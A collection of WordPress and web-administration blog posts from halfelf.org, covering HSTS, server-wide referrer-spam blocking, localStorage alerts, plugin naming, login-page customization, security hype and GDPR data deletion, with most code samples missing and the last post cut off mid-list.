Basically you have your server say “Everyone who accesses my server should use secure connections.” This matters because it prevents man-in-the-middle attacks that change HTTPS to HTTP and steal your credentials. Bad days. If you are using HTTPS/SSL on all your domains you should totally enable HSTS.
Okay, great. How?
Well if you have one domain, this is as easy as tossing this into your htaccess:
But … I have 20+ domains on this server. That would suck to have to edit! In fact, this is really closely related to my issues [combatting referrer spam server wide](https://halfelf.org/2016/blocking-referrer-spam-server-wide/). This stuff isn’t always obvious. For cPanel, I just added that code to my `pre_virtualhost_global.conf` file, same as I did for a certain referrer spam company.
If you’re using NGINX, you should read their [blog post on the subject](https://www.nginx.com/blog/http-strict-transport-security-hsts-and-nginx/) for full details but the basic code is this:
And if all else fails and you *can’t* set this on the server, you can always edit your .htaccess or nginx.conf file locally.
**Categories:** How To
**Tags:** htaccess, nginx, security
---
### [Blocking Referrer Spam Server Wide Sucks](https://halfelf.org/2016/blocking-referrer-spam-server-wide/)
**Published:** June 1, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Blocking them before they get to you isn't easy.
**Content:**
A while back I talked about [Referrer Spam in Google Adsense](https://halfelf.org/2016/referrer-spam-adsense/) and I mentioned how you could block referrer spam with some .htaccess calls. That’s cool, but when you have 12 sites on a server, making this one more thing to manage per site is a pain in the ass. Well okay, what can we do constructively? And sadly the answer is “Not much.”
First of all, forget the idea of using a `robots.txt` file. If they were *real* seo crawlers, they would honor this. They don’t and that’s how I know they’re evil.
Secondly, this will only work if you have server wide access. That should be obvious, but server wide settings need server wide access, and that’s just how it is. I say that it sucks because it can be a little complicated and messy to understand where you put things.
If you have your own server, like I do, then you can make a [custom VirtualHost template](https://documentation.cpanel.net/display/EA/Custom+Templates#CustomTemplates-Customtemplatesthatwillapplytoallvirtualhosts)
Since I’m using Apache 2.4, I made local templates:
If you’re using 2.2 then the files are in `/var/cpanel/templates/apache2_2/` instead. In each file, I added this to the top of the VirtualHost settings.
What that does is it tells Apache that it should inherit Rewrite rules from the main server. That means each virtual host (i.e. each website) will abide by any rules in the local settings.
*Where* you put this in that file can be weird. I ended up looking for this section, and putting it right below:
Put that in *both* files. Because you use HTTPS, right? Then you need to bounce httpdconf:
`/scripts/rebuildhttpdconf`
Since I’m using WHM, the next step is to go in to the Apache Configuration section and open the Include Editor. Then you want to add your blocking directive in ‘Pre-Virtual Host Include’ for All versions. If you don’t use it, you’ll want to edit `/usr/local/apache/conf/includes/pre_virtualhost_global.conf` and bounce Apache after.
As you can see, I have some content in there already.

I added this below:
Does it work? Yes. It blocks ‘spammerseocompany’ from all my domains on my server. I put in the other URL since that’s the one they have that’s currently spamming the heck out of my stuff. There are a lot of other options with Apache 2.4, like sending them a 403 and so on. You should read up on [using mod\_rewrite to control access](https://httpd.apache.org/docs/2.4/rewrite/access.html) and pick the method you find most sustainable. For example, you could single like it:
I find that a bit clunky.
If you’re using nginx, you’ll want this I believe:
A big note of caution here. If your list gets too long, you’ll end up slowing your server down. A lot. So keep it as simple as you can. I find that [CSF](http://configserver.com/cp/csf.html) does a dandy job of blocking the most of my trouble makers, and I only need this for the unnamed spammerseocompany because they don’t abide by the common rules of robots.
If, one day, they do, I will stop blocking them and allow their robots. As it stands, they’re idiots and need to go away.
**Categories:** How To
**Tags:** performance, servers
---
### [Caching Dismissible Alerts With localStorage](https://halfelf.org/2018/caching-dismissible-alerts-with-localstorage/)
**Published:** June 28, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using Javascript loclaStorage to store persistent string data and have it keep alerts dismissed.
**Content:**
There are a lot of reasons to want to have a temporary, but dismissible, alert on the front end of your website. And there are a million different ways to do that. The trick is … how do you do that and make your site remain *cacheable*?
## Web Storage (Maybe) Is the Answer
I preface this with a warning. I’m going to be using Local Storage, and that is *not* something I generally advocate. Web storage (aka DOM storage) is the practice of storing data in the browser. You can do this in a few other ways, such as sessions or cookies. But both of those can be detrimental to caching. After all, PHP Sessions and cookies tell systems like Varnish and Nginx “Don’t cache this.” They’re also persistent, so if I get a cookie once, I keep it until it expires or I delete it.
On the other hand, web storage is outside the website entirely, that is my *server* has no idea about them, and it doesn’t really impact caching at all. Varnish, Nginx, and all those sorts of server-based services don’t care about it, and if implemented properly, there’s no problem. You can store the data locally or per-session, which means ‘forever’ or ‘for as long as this browser window is open.’
## Don’t Use localStorage (Most of the Time)
That all sounded awesome. So then why are there so many articles advocating you *not* use localStorage? Well there are some massive caveats:
1. It’s pure javascript, so PHP doesn’t easily get it
2. If you store *sensitive* data in it, you’re a numpty
3. It can ‘only’ store 5 megs
4. The content has no expiration
5. You can only use string data
6. *All* your localStorage is loaded on every single page load
7. Any other javascript can see it and play with it
That’s starting to sound squidgy, right? [Randall Degges has a good writeup of the drawbacks](https://www.rdegges.com/2018/please-stop-using-local-storage/).
Well good news here. This use is *possibly* the only time I’ll ever advocate it’s use. I’m going to us it here because it works with caching, it works with most browsers (IE8+), and the worst case scenario here is that people will always see my alert.
## Pull Up With Bootstrap
I’m using [Bootstrap](https://getbootstrap.com/) on this particular site, and it makes my life hella easy because they built in [dismissible alerts](https://getbootstrap.com/docs/4.1/components/alerts/#dismissing). But the gotcha? Those alerts *aren’t* persistent. Which means if I want an alert to go away forever, then I’m SOL.
Except I’m not. Bootstrap includes a way to run an ‘action’ on dismiss, which means I could do something like this:
What this does is it sets a variable (`gdpr`) based on the content of my item in localStorage (`gdpr-alerted`). If that value is yes, it closes the alert. Otherwise, it sets it to yes when someone closes the alert.
That actually works just fine, but it has a weird blip if the javascript is loaded in the footer, where you would see my alert for a split second before the page finished loading. So I decided to go another way, and factor in some expirations.
## The (GDPR Related) Code
First up the PHP:
Now my sneaky JS:
The reason this works is that I *remove* the `show` class from the PHP and by default assume it *shouldn’t* show. Then in the javascript, I set up the value as ‘a year from now’ instead of ‘yes’, and check. If the localStorage value is less than ‘now’, then it’s expired and we should show the class (and delete the storage). Otherwise, it’s the same old same old.
## But Should We?
That’s the big question though. Is this the best way to go about it? The next best choice would be IndexedDB, however that is not supported by ‘enough’ browsers yet, so yes. For now, this is the best choice.
**Categories:** How To
**Tags:** javascript, wordpress
---
### [How Many Plugins Is Too Many To Create?](https://halfelf.org/2018/how-many-plugins-is-too-many-to-create/)
**Published:** June 26, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No, not how many is too many to use. How many is too many to make, support, manage, and wrangle. As a developer.
**Content:**
That wasn’t the way you expected that title to end, I bet. You were thinking “How many plugins is too many to have on my site” and that’s absolutely *not* the topic here. No, instead I’m asking how many plugins is too many for a developer to create?
## I Got 99 Problems …
I think that plugins should be specific. That is, I’m not a fan of a conglomerate of plugins like Jetpack, that do a little of everything. Instead, I like a plugin that does the thing it’s supposed to do, preferably simply and well, and it moves on. That means I often have 20-30 plugins installed on a site, and that’s okay.
At the same time, as a developer, having to support 20-30 plugins is a drain on my limited resources. Becuase here’s what I have to do:
1. Keep up with all core changes
2. Include and test all library updates
3. Test with every release
4. Update my readme
5. Review reviews and support posts to make sure I’m not missing things
Multiply that by 20 and it’s a lot of work. And is that work I feel like I *must* do?
## Gimmie One Reason …
The reality of having plugins for WordPress, or any add on for any project, is that it’s generally thankless work and you will have more bad days than good. That’s true of many things in life, and as depressing as it can be, it’s important to keep an eye on the reality of the situation.
Developing software is very analytical art. You create something out of nothing, you design and test and change and tweak, and then present it to the world. Of course those days when people tell you “I don’t like the color” suck, but being humans, we discard that and grab on to the days when someone says “I love the carrot!”
And the reality of the question at hand isn’t how many is too many, but how many are *worth* the work and the little reward?
## Bring it Together …
Lately I’ve been advocating something different. Instead of making 13 separate types of gallery plugins, I’ve suggested people make one plugin for galleries and include those 13 types as display options. The amount of work is roughly the same, but it means I only have one plugin to manage instead of 13 separate readme files to edit and installs to spin up. I also have *one* place to look for any support posts or reviews.
Obviously this doesn’t always work. Sometimes you have to split things up. There’s little point it combining a WooCommerce plugin with a NextGen Gallery one (unless the plugin is implementing NextGen with Woo products…). But if you can connect your projects by type, you may find out that there’s crossover. Instead of spreading your user base out over 10 plugins, you can keep them manageable with 5 to 8.
## Working For The Man …
And what about Jetpack? It’s effectively XX separate types of plugins:
- Writing
- Sharing
- Discussion
- Traffic
- Security
Except when you look at that, it suddenly all connects. When I write I want to share and I want people to discuss. I also want to keep an eye on my traffic *and* being secure…. Okay that last one might be better off on it’s own, but it’s a suite of *related* apps. 43 separate apps, but they are all related when you get down to it.
Which means even if you’re making a plugin for your company, you can *probably* combine it with other things safely. And that means less access and security concerns for you too, as you only have to keep track of who has access to *one* plugin instead of 50.
## How Many Is Too Many?
This is as subjective as all get out, but I’ll say this. Once you personally support 20 plugins for WordPress, take a good hard look at how much time you’re spending and ask yourself… is it worth it?
It’s okay to say no.
**Categories:** How It Is
**Tags:** management, mental health, plugins, wordpress
---
### [Future Proof Names](https://halfelf.org/2018/future-proof-names/)
**Published:** June 21, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Names are hard, so try to make yours one that lasts.
**Content:**
The other day I was talking to someone about the name of their plugin.
No, not about copyright and infringement, though that comes up a lot. I was talking to them about the meaning of the plugin name. They wanted to pick a name that was memorable, meaningful, and descriptive. I wanted them to drop the last one. Or rather, to reconsider the last one.
## Names Aren’t Descriptions
My name, Mika, is not a description, it’s an identifier. Even my handle, Ipstenu, is an identifier. My domain ‘HalfElf.org’ actually *is* a bit of a descriptor, but it’s also an identifier. I am a Half Elf Rogue to many people, and that’s as it should be. But a descriptor is “Professional Lesbian” not “Half Elf on Tech” and yes, this matters.
A good name is memorable (check), meaningful (check), and descriptive without being a description. Because a name is how we identify and remember the weird tech site we went to, versus the tools we use.
In so far as plugins go, however, you have one more thing to think about, and that’s the plugin *slug*. The slug is like this post’s URL. Changing it comes at a cost and in the case of plugins, it’s impossible. So while I’m content to allow people to pick some silly names, I’m pretty sticky about the plugin url.
## Woo(Commerce) There It Is
Whenever people submit plugins named “WooCommerce Thingy” they find their slugs changed to `woo-thingy` instead of the expected `woocommerce-thingy` because, well, they’re not WooCommerce. This sometimes incurs their ire, generally because they didn’t read the FAQ, and I’ve become resigned to linking them back to it. Most of the time, people just go “Oh, okay I get it.” and move on. Sometimes when the slug is less easy to ‘correct’ for them, like if they call a plugin “Google Fast Typing” (slug `google-fast-typing`) I have to email them and sort out a new name (probably “Fast Typing for Google” unless “Fast Typing” is trademarked by the Googs).
Like I mentioned before, I don’t really push too much about a display name. You can change it as many times as you want, and coming back in a month to remind you “Hey, if you’re not *Google*, you shouldn’t start your plugin display name with ‘Google.’ They may get snarky at you.”
But the display name is also very much abused. People use it as an extra ‘short’ description, which really only goes to annoy people who see “Luxembourg – A new plugin that will solve all your woes!” as a plugin name. Thanks. But that’s what the *description* is for.
## Gutenbye-bye-bye
Gutenberg is a very popular plugin to make an add-on for these days. And a lot of people want to name their plugins things like “Joe’s Author Blocks for Gutenberg” which nets them the slug `joes-author-blocks-for-gutenberg` and I don’t know about you, but I find that excessive.
See, you don’t want to have “Gutenberg” in your plugin slug at all. Unlike WooCommerce (or Google, or Facebook), we know Gutenberg is going to go away. Remember, the goal of Gutenberg is to be in WordPress 5.0!
So that means naming your plugin `author-blocks-for-gutenberg` is shortsighted. In another four years, will anyone remember Gutenberg was the project name? Quick way to check, ask people at a local meetup “What’s MP6?” and see who knows.
## Name Better
Think about the future of your plugin, the project, and the related items. Locking yourself into a name you regret later is one thing, but since a display name can be anything, you can name your plugin anything! Making a feature rich Gutenberg add on? Manutius is a great name! Changing the look entirely? Call it Reformation. Making a simple author block editor? `halfelf-author-blocks` is an okay slug, but “Block Your Authors” sounds pretty bad.
Just remember, it’s eye before flea, except after sea.

**Categories:** How It Is
**Tags:** names, wordpress
---
### [It's Just Math: WP-CLI Edition](https://halfelf.org/2018/its-just-math-wp-cli-edition/)
**Published:** June 19, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A quick WP-CLI example of running calculations.
**Content:**
Remember how I talked about [doing math on a post when it was saved](https://halfelf.org/2018/its-just-math/)?
Well what if I wanted to run that at another time? Like what if I knew I needed to update one show and I didn’t want to go in and save the post?
I can to this with WP-CLI:
## WP CLI Magic
## What the What?
The one for shows is a lot simpler. I literally call that `do_the_math()` function with the post ID and I get back a number. Then I output the number and I’m done. If I wanted it to run for all shows, I could use WP-CLI to spit out a list of all the IDs and then pass them to the command one at a time. Or I could write one that does ‘all’ posts. Which I may
But the point is that I now can type `wp mysite calc show 1234` and if post ID 1234 is a show, it’ll run.
**Categories:** How To
**Tags:** math, wordpress, wp-cli
---
### [jQuery Tablesorter](https://halfelf.org/2018/jquery-tablesorter/)
**Published:** June 14, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Put them in the order you want without having to hard code things.
**Content:**
So you want to sort tables on your WordPress site, without learning a whole mess of code.
Good news. [There’s a plugin called Table Sorter that can do this](https://wordpress.org/plugins/table-sorter/) and in pretty much just works. Except… There are cases where you’re outputting data in a theme (or a plugin) and you can’t use that plugin to do it.
Don’t panic, we’ve got you.
## Enqueue The Right Tablesorter
I’m aware there’s a `tablesorter.com` – Don’t use it. It’s out of date at the site is possibly hacked. Instead, grab [Tablesorter from RobG (aka mottie)](https://mottie.github.io/tablesorter/). Rob is still updating this plugin and debugging it, so it’s a better bet that the various other forks.
You’ll enqueue this the ‘normal’ way:
There’s a second part to the enqueue though. You see you *also* need to tell it what to sort. That is, tell the javascript what to pay attention to.
That’s done by using a class and an ID: ``
If you’re using the plugin I mentioned above, you only have to do the latter, because it accounts things differently but, properly, you should be using the ID. Then you have to insert this javascript:
Which is actually wrong. For WordPress. Again, no panicking!
See? That was easy. If you wanted to be more WordPressy, you do this:
## You were expecting more?
That’s really it. I do some extra weird stuff, since I call it on one page only (statistics) and that pages uses query variables so you can have `/statistics/nations/` without me needing to make multiple sub pages, and it looks like this:
Oh right that also demonstrates a theme!
[Tablesorter lets you use themes like Bootstrap 4.x](https://mottie.github.io/tablesorter/docs/example-option-theme-bootstrap-v4.html) so your tables can be all matchy-matchy.
But at this point, it should be enough to get your tables sorted.
**Categories:** How To
**Tags:** javascript, wordpress
---
### [Bad Faith Names](https://halfelf.org/2018/bad-faith-names/)
**Published:** June 12, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not the weirdest copyright case I know of, but it's cock of the walk.
**Content:**
One of the things about Open Source is we can name things whatever we want. This comes with a great amount of responsibility though, since we have to both come up with unique, memorable names that make sense *and* respect everyone else.
Respect is a funny thing with names. For example, in order to respect my friend Tracy, I wouldn’t name my company LYKES Inc, because that would be very similar to her company of [YIKES Inc](https://www.yikesinc.com). But also I know she’s trademarked the domain, which is a smart choice, and that means I have to respect her trademark as well.
## Speaking of Trademarks
When it comes to trademarks, everything’s a little messier too.
This isn’t about not naming your plugin “Google Analytics.”
This is about when you own a trademark and people are infringing on it, and how you can chose (or nor) to behave.
This is about being cocky.
There’s no other way to explain this, but a romance novelist trademarked the word ‘cocky.’
No, this isn’t a joke. Since 2015, for a number of reasons, the word ‘cocky’ has been super popular with romance authors, and one of them decided to trademark the word. In 2018 she applied for, and got, a trademark on the word. Not just the word mark (which is like Pepsi’s trademark on the word and the font), but also [the actual word cocky, as used in romance novels](https://trademarks.justia.com/876/04/cocky-87604348.html).
And then she did exact what you’re thinking, and she decided to sue everyone else who was using it.
## Trademark Bullying
Fallen Hopkins said her reasoning was her users. “I receive letters from readers who lost money thinking they bought my series. I’m protecting them and that’s what trademarks are meant for.”
When you hear it that way, it does sound a little sensible, doesn’t it? She wanted to help her readers be less confused that “The Cocky Cowboy” isn’t a book in her series “The Cocky Series” (in which there is a book called “Cocky Cowboy”). She kicked the author of “The Cocky Cowboy,” who renamed **her** book “[The Cockiest Cowboy To Have Ever Cocked](https://www.amazon.com/gp/product/B07B9MCHW7/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B07B9MCHW7&linkId=dc349672abc7809dd859f9e0a888153d)” and now I’m a little in love.
Now *most* of the time you can’t actually do that! I mean, I could name a book “Catcher in the Rye” if I wanted to, because you *can’t* copyright book or story titles. What you *can* do is the title of the book as it pertains to non-book goods and services, as long as the goods aren’t the book. With a trademark, if I have a book *series*, I can trademark the series name (see “Harry Potter and …”), but not a single individual title. Until I make a movie.
But more to the point here, Hopkins was being a damn bully by deciding she was going act in bad faith.
## This is Legal?
Yes. It’s legal, but it’s bad faith.
Bad faith is simply you doing something that is *legal* but you know it’s the bad thing to do.
That’s not a legal definition, by the way. If you look it up in a law dictionary, it involves the intent to deceive, which is a weirder thing. The real question is why is this legal? Right? Why would someone possibly be able to trademark cocky!?
Turns out, it’s actually not hard to trademark a common word *if* you do it right. Take Apple, for example. You know, Macintosh the company? apple.com? Right, they trademarked Apple, but only as it relates to computers. I can name my car company Apple Cars if I wanted, but I better keep away from self-driving cars, eh?
## Legal Doesn’t Make it Right
There’s a catch to all this. If you’re in the USA, you may be aware of the First Amendment. You know the one? Well there’s a doctrine about all this that basically exists to stop trademark law from stomping all over our rights. People build careers on this stuff, so the short version for you is that folks who are chapped about this have a damn good case against her doing this maliciously, and getting the trademark overturned.
The problem is they need lots of money, which they don’t have. We’re talking about a bunch of indie e-book authors, after all. They may not have money but they have the internet, and they’ve been using it to savagely take down Hopkin’s reputation.
You really should never piss off people who are good with words.
## Cockygate Doesn’t Hold Up
The good news in all this is the trademark’s being canceled. The bad news is that someone else with deeper pockets probably has a great idea now and is going to be an even bigger problem for people later on.
People *will* get confused. People can’t even tell differently named web hosts apart, so of course someone will think “Joe’s Google Analytics for Sports Sites” is an official Google plugin on WordPress.org (seriously someone did). They just don’t read and think, and all the trademark protection in the world isn’t going to help them out.
But think about how you’re approaching this. Ask people to change the display name of things, and ask them to make sure it’s clear they’re not related to you. And when someone gets confused, point out “That plugin/app doesn’t have my trademark’d logo, so you can see it’s not mine. Sorry about the confusion, here’s mine.”
If you’re interested, read [Vox’s explanation on cockygate](https://www.vox.com/culture/2018/5/15/17339578/cockygate-explained-romance-publishing-faleena-hopkins) and please, don’t be a cock when you’re protecting your trademark.
**Categories:** How It Is
**Tags:** essay, names, oped
---
### [A Case Sensitive Headache](https://halfelf.org/2018/a-case-sensitive-headache/)
**Published:** June 7, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes computers exist to make us cry. When it can't tell the difference between FOO, foo, and Foo, it make actually manage it.
**Content:**
Like most people, I pull my site down to develop locally. After all, it’s safer. But also like most people, my live machine is a linux box and my personal machine is not. In fact, it’s a Mac, running whatever the latest OS X is. But don’t worry, today’s drama happens on Windows as well.
You see, I downloaded my local data, imported my database, changed my URLs to local, and stared at a page that had the wrong data. Or rather, the right data and the wrong *image*. The page for “Sam” was showing me a photo for another character named “Sam.” But on my live site it was fine.
## Commence the Debugging
The first thing I did was copy the image to a new folder to try and re-upload it. Only that didn’t work out the way I thought it would. You see, I knew the filename was `Sam.jpg` so I tried to copy that over:
```
cp ~/sites/example.com/wp-content/uploads/2018/05/Sam.jpg ~/Downloads
```
Only when I went to look, it was *again* the bad image. In fact, when I looked at all the files in the folder, there was only one file named ‘sam’ when there should be two
 Local site is on the left, live is on the rightThings were starting to become clear. Next I copied it and renamed it `sam.jpg` and got an error:
I’ve got it now. Mac doesn’t understand the different between upper and lower case. It’s not case sensitive.
## Bad News: No Easy Fix
I’m really sorry about this. There isn’t an easy fix.
First of all, if you wanted to fix your main hard drive, you would have to reformat it. That’s a pain in the ass. Second? Your Mac will not be happy and things will break. For example, the Steam app doesn’t like it if your Mac is case sensitive. Seriously, I have no idea why. But it’s what it expects.
This means the ‘fix’ is to partition your hard drive. Since I’m using AFPS, I opted to [make a volume instead of a partition](https://support.apple.com/guide/disk-utility/partition-a-physical-disk-dskutl14027/mac), which feels pretty much the same but it’s not. I opted for AFPS with case sensitive *and* encrypted because I’m generally a neurotic. Making a volume is very fast, and once I was done, I copied everything in my `~/Sites/` folder over to `/Volumes/websites/` (where `websites` is the name of my new volume).
And now it looks great!
Except… I still only see one in terminal. I freaked out for a moment and then I realized that while the GUI is smart enough to know that Sam and sam are both S’s, terminal put the capital letters *above* the lowercase. So all the S’s came before all the s’s.
The last step was to move my copy of Chassis over to the new websites volume, spin it back up, and *finally* it was working properly.
## The Moral?
Don’t use case-sensitive filenames. Or filenames with special characters like á or í because operating systems are stupid.
No seriously, that’s it. Haven’t you wondered why people advocate we all use all lower-case for filenames in our code repositories? Because different operating systems are stupid. They don’t always talk properly to each other, they have different ideas of right and wrong, and they’re never going to agree. If you work with multiple operating systems, aim at the lowest common denominator, pick a style, and stick the hell to it.
That’s your moral.
**Categories:** How To
**Tags:** macintosh
---
### [Customizing Login Pages](https://halfelf.org/2018/customizing-login-pages/)
**Published:** May 24, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not everyone wants to flip you off with an error, but you could if you wanted.
**Content:**
Most of the time, the default WordPress login page is fine. The vast majority of the time it’s fine. Once in a while, you want it to look a little more custom. So let’s talk about what you can do.
## Change the Login Logo
This involves three things:
1. Making a logo of the appropriate size
2. Uploading it
3. Pointing your code to it
The default size of the logo is 80×80, which I’m using below. You can make it as wide as 312px, and as tall as you want, but I recommend not going too tall. I like mine to match my Site Icon, personally.
The path to the file is going to depend on where you put it, obviously. Remember it should be the *URL*, so you can’t use relative paths here.
Don’t want to code? Try using the [Login Logo](https://wordpress.org/plugins/login-logo/) plugin.
## Change the URL (and Alt Text)
Now that we’ve changed changed the logo, we should change the link and the alt text. After all, if the logo is your site, why should the URL be to WordPress?
You can change the URL and text however you want, but I find it easier to just link to the site itself.
## Bonus! Change the Errors
Okay this is rarely going to matter to anyone. But Tracy has a new favorite GIF:

And me, I wanted a nice, sneaky place to have it show up appropriately. So I decided to have it pop up when someone put in the wrong credentials while logging in. And I did that like so:

Now this doesn’t actually do anything other than be amusing. Let’s have a more practical example of wanting to change the invalid username/password messages to *not* tell people what they got wrong and not offer a password reset.
That would look like this:
There is not a good list of all the errors you may want to filter, I’m afraid.
**Categories:** How To
**Tags:** filters, hooks, login, wordpress
---
### [FUD: The Sky Is Not Falling](https://halfelf.org/2018/fud-the-sky-is-not-falling/)
**Published:** May 22, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** (Except when it is)
**Content:**
Every day it seems like there’s a new Zero Day vulnerability about our websites. SSL is being deprecated, PHP is out of date, the CMS we use has a critical vulnerability, security isn’t all that safe, and OMG we’re all going to get our identities stolen and our lives hacked.
Making matters worse are those myriad security tools we use to keep ourselves from getting hacked or attacked, and they alert us to horrible things. I say worse because they terrify people without actually explaining and educating them, so the uninformed users come running to complain the sky is falling. And when those people are told an answer by other experts, they don’t know *who* to believe.
Can you blame them?
## Responsible Disclosure
It’s four years now, and Nacin’s post about how [security is nuanced](https://nacin.com/2014/05/30/security-is-nuanced/) is still required reading.
The problem we face is that telling the world about a security issue is complicated. We definitely need to tell people who are responsible for fixing it, and in a perfect world we should trust that they’ll push out that fix in a reasonable time frame. We also should be able to trust they’ll tell the appropriate people.
But who, exactly, is the *appropriate* person to tell about a Drupal patch? Not the hack, the patch. In a different light, who are the right people to tell that a new security fix for an operating system has been released?
There are *millions* of users. How do you get to all of them quickly, with the right amount of information so they can understand how important this patch is to them, and how quickly they should apply it?
## Enter Security Companies
Many companies make their milk and meat off being the people who monitor and announce security releases. There’s nothing wrong with this. In fact, I laud them for being a much needed service. With so much data flowing, it’s important to have a service that can help users winnow down what’s critical to them and their setups.
But… That’s not what’s happening.
Security companies face the same problem we do. There’s just too much data, and it’s being updated *all* the damn time, and there’s no way to keep up with all of it. Which means that they do what I tend to do when I’m trying to explain things to a wide variety of people. They simplify as much as possible.
The problem with simplification is that you have to skip over things and leave out the nuances that help people understand what’s actually going on. They have no idea what they actually need to worry about. And we’re back to zero.
## To Know When To Worry …
You have to actually understand context to know what to worry about.
There’s literally no other way around it. There’s no shortcut, there’s no cheat sheet, there’s just knowing what your site is doing.
Let’s taken **OpenSSL** as an example. Back in 2014, a serious issue called HeartBleed was discovered. The bug was phenomenal in that it allowed people to steal and read secure data. If you ran a website, this was a massive issue. For your webhost.
Was it a huge issue to you? Well. Maybe.
A lot of people sounded the alarm and declared this a crisis, and we should all grab our web hosts and asks what they were doing and when would we be fixed. And the rest of us said “Hang on. Webhosts are aware. See if they have an announcement, which most will, and if they say they’re working on it, trust them.”
Sounds like I’m passing the buck, but the reality is that unless I’m using my site for privileged data (like a private blog, or a store), then the odds are for my individual site … I **don’t** need to panic. Especially if I use unique passwords and take regular backups.
This doesn’t mean Heartbleed wasn’t a huge problem, and that I didn’t want to see my host putting this as their number one priority, but it means that I’m aware of the risk (private data being stolen) and the likelihood of it happening (moderate to high) *and* the level of risk. That last one is the most important.
What’s the worst that could happen, today, on this site if someone stole private data? Well. They’d see my password maybe, and some draft posts, and have access to my API keys for a couple services. Nothing I can’t fix relatively quickly. They can’t log in to those API services and they can’t destroy my life.
If I was still running a store (like I was at the time of the initial vulnerability), I paid close attention to the fixes being released and the moment one was out for my system, applied it. But there was no need to panic or rush about. I understood what was going on.
## If You Don’t Know …
If, however, you have no idea how it all works and what it means, then I recommend the following checklist:
1. Do I have good passwords?
2. Do I have good backups?
3. Does my web host have a reliable track record for fixing this stuff?
4. Do I run any private/privileged data on my site that could be dangerous to release to the public?
If that last item is 4, then I better be paying my host (or an expert) a lot to protect me ASAP. If you’re still on budget web hosting, it’s time to move up to something managed, or hire someone to manage for you.
Otherwise, if the first three are all ‘yes’ then I’m not going to panic. I’m going to trust in the experts to do their job.
**Categories:** How It Is
**Tags:** essay
---
### [Data Deletion May Not Be What You Think](https://halfelf.org/2018/data-deletion-may-not-be-what-you-think/)
**Published:** June 5, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Deletion of data may not be entirely what you think.
**Content:**
So you’re handling GDPR and you have a privacy doc and policy and a plan for people requesting data and, yes, deleting it.
Eventually someone is going to ask you to delete their content from your site. This is the scary part for most people. Remember, you get 30 days to reply, so don’t panic. Next, figure out what they’re asking for, and if you can say no.
This is the fun part. You can say no. Sometimes.
## When You Can Say No
In general, yes, you should delete people’s information if they ask. But if your website stores complicated information this is not actually as black and white as all that. The right to erasure does *not* apply if retaining is necessary for one of the following reasons:
- exercising your right of freedom of expression and information
- meeting any legal obligations
- performing a task for and in the public interest or in your legal authority
- archiving information of public interest or for research where deletion would impair the work significantly
- related to and legal claims you have (or may have)
This helps you balance out the problem of being told to delete things you need to keep for tax reasons. It also keeps sites that may collect public data for the general public (like wikipedia or a website that tracks queer characters on TV) from losing everything. It won’t protect you from other lawsuits, of course.
It’s that last one I feel is really important to everyone. That’s the one that means if I block you, I *may not* have to delete your data, even if you ask, because I may need it for the establishment of legal claims. But that has to be a legit claim.
You can also just say no for any reason you feel is justified. Now again, do not use this flagrantly. You still have to turn around and tell someone that you’re *not* deleting their data, so you need to be serious about this.
## Self Protection
And speaking of being serious, you can actually say no to protect yourself. You see, people can only ask for deletion if the data is no longer needed for the reason it was collected. So if they want to delete their account but keep shopping at your store, you can say no since the information is needed to keep shopping!
So remember *why* you track the data in the first place. When people leave a comment, for example, you track their username, email, and IP (and web address if they provide it) in order to know who they are and prevent spam, but also *abuse*.
Here’s an excerpt from one of my privacy policies:
> **Comments:** When visitors leave comments on the website, the collected data shown in the comments form, as well as the visitor’s IP address and browser user agent string are saved in order to help spam detection and abuse.
Since I retain data to prevent abuse, that is serial internet harassers, you can ask me all you want for me to delete any data I save about you, but I can say no to protect *myself*.
## When You Say No
If you decide to tell someone no to a deletion request, you must:
- provide the reason
- inform them of their rights to make a complaint
- inform them of their right to a ‘judicial remedy’
That last one means yes, they can sue you to delete the data. If they’re abusing you (harassing etc) and you’ve saved all that, you’ll probably win. Which is one reason you should actually save and document people’s actions. I hate having a whole folder on my laptop that documents a bunch of people hating on me, but I need it.
Basically if you’re going to say no, have a damn good reason, document it, and be prepared for a fight.
## Say Yes If You Can
Most of the time, it’s no skin off your ear to delete a comment or edit a post. But sometimes it’s going to be a huge deal. And in fact, you can turn around and tell people “If I delete all your data, I will retain information required to identify you in order to prevent you from returning to this site. Deletion requests means you will not be welcome back.”
If that sounded harsh, well, it can be. Because for most small blogs, consider what they’re asking. When someone asks to delete the content of a personal blog, it’s most likely going to be for a pretty petty reason. Unless they’re asking you to remove information that shouldn’t be public (like their phone or email – and yes, someone’s asked me to delete that before), it’s probably going to be someone asking you to remove a comment that makes them look foolish. Or at least it has been in my experience.
## Make Your Life Easier
Keep this in mind too. Make your life easier. If you don’t *need* comments on your site, don’t have them. Turn off that contact form too. But there’s no law that says you need to let people talk to you on your blog.
This won’t be true for all situations, but do as much as you can and save yourself that GDPR headache.
**Categories:** How It Is
**Tags:** administration, gdpr, privacy
---
### [Consent and Awareness](https://halfelf.org/2018/consent-and-awareness/)
**Published:** May 29, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** GDPR terrifies a lot of people. It's a lot to take in, it's a lot to learn, and yes, we all need to do it.
**Content:**
GDPR.
It’s the bane of many headaches for many web developers, web admins, and in general anyone who uses the internet. If you’re reading this, it’s probably a headache for you too. So let’s have a real, non-lawyer talk about what’s going on and why you need to care.
**Notice:** I’m *not* a lawyer. This post is not legal advice. Please read the EU GDPR Information Portal and research your specific situation.
## Everyone Needs to Care
If you thought this only has to do with people who use eCommerce products, think again. The centre of the GDPR is data privacy. That is, the right to have your data removed from websites, when you want. The point to all this is if you have a website, and people visit, you need to care because the following reasons:
- You have ads on your site
- You allow comments
- You use custom avatars (Gravatar)
- You track visitors (Jetpack, Google, etc)
- You embed content (Twitter, YouTube, etc)
Does any of that sounds like you? It sounds like pretty much every public website in existence. And congratulations you need to care about GDPR.
## What You Need
There are a lot of moving parts here, but the pared down version is this:
- Know what 3rd party services you use
